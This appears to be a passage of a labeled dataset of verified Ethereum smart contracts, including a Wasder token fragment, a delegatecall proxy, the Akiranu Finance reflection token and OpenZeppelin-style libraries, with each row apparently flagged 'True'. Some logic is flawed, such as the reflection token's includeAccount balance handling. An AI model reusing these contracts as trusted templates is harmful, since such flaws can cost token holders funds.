_mint(to, INITIAL_SUPPLY);
_initializeEIP712("Wasder Token"); // domain
_setupRole(DEFAULT_ADMIN_ROLE, to);
}
function burn(uint256 amount) external {
require(hasRole(BURNER_ROLE, _msgSender()), "Caller is not a burner");
require(amount > 0, "Amount to burn cannot be zero");
_burn(msg.sender, amount);
}
function snapshot() external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "Caller is not a admin");
_snapshot();
}
// ERC677 Transfer and call
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
/**
* @dev transfer token to a contract address with additional data if the recipient is a contact.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
*/
function transferAndCall(address _to, uint _value, bytes memory _data)
external
returns (bool success)
{
super.transfer(_to, _value);
emit Transfer(_msgSender(), _to, _value, _data);
if (isContract(_to)) {
IERC677Receiver receiver = IERC677Receiver(_to);
receiver.onTokenTransfer(_msgSender(), _value, _data);
}
return true;
}
function isContract(address _addr) private view returns (bool hasCode)
{
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
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/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/**
* @title NonReceivableInitializedProxy
* @author Anna Carroll
*/
contract NonReceivableInitializedProxy {
// address of logic contract
address public immutable logic;
// ======== Constructor =========
constructor(address _logic, bytes memory _initializationCalldata) {
logic = _logic;
// Delegatecall into the logic contract, supplying initialization calldata
(bool _ok, bytes memory returnData) = _logic.delegatecall(
_initializationCalldata
);
// Revert if delegatecall to implementation reverts
require(_ok, string(returnData));
}
// ======== Fallback =========
fallback() external payable {
address _impl = logic;
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-13
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AkiranuFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**5 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Akiranu Finance';
string private _symbol = 'AKIRA';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000000 * 10**5 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
